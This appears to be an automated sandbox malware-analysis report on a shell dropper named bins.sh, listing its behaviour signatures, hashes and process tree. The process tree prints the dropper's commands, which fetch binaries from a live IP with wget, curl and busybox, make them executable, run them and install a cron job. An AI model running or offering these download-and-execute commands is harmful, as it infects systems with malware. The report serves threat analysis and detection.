Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/11/2024, 22:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-2c27mathrp
  • SHA256 2d0b0b07c7328455938bfeacbc5e8b8ed2beeccaadfa44688f2250519031cf76
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2051) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:666
        • /usr/bin/wget
          wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:670
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:685
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:694
        • /bin/chmod
          chmod 777 IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • File and Directory Permissions Modification
          PID:696
        • /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          ./IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:697
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:699
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:700
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:701
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:702
              • /bin/rm
                rm IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                2⤵
                  PID:704
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                  2⤵
                    PID:707
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                    2⤵
                      PID:792
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                      2⤵
                      • Writes file to tmp directory
                      PID:793
                    • /bin/chmod
                      chmod 777 VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                      2⤵
                      • File and Directory Permissions Modification
                      PID:794
                    • /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                      ./VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                      2⤵
                      • Executes dropped EXE
                      PID:795
                    • /bin/rm
                      rm VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                      2⤵
                        PID:796
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                        2⤵
                          PID:797
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                          2⤵
                            PID:798
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                            2⤵
                            • Writes file to tmp directory
                            PID:799
                          • /bin/chmod
                            chmod 777 n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                            2⤵
                            • File and Directory Permissions Modification
                            PID:803
                          • /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                            ./n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                            2⤵
                            • Executes dropped EXE
                            PID:804
                          • /bin/rm
                            rm n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                            2⤵
                              PID:809
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                              2⤵
                                PID:812
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                2⤵
                                  PID:817
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:819
                                • /bin/chmod
                                  chmod 777 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:827
                                • /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                  ./6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                  2⤵
                                  • Executes dropped EXE
                                  PID:828
                                • /bin/rm
                                  rm 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                  2⤵
                                    PID:830
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                                    2⤵
                                      PID:831

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                        • Path /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                        • Path /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                        • Size 119KB
                                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                        • Path /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                        • Path /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        tmp.jWMcEK
                                        • Path /var/spool/cron/crontabs/tmp.jWMcEK
                                        • Size 210B
                                        • SHA256 3ca12e649a4f065241846a1885ef7b1e6af2bb5d4168fb17ac316677a2ff6c3e
                                        • MD5 SHA1 SHA512
                                        Submit Download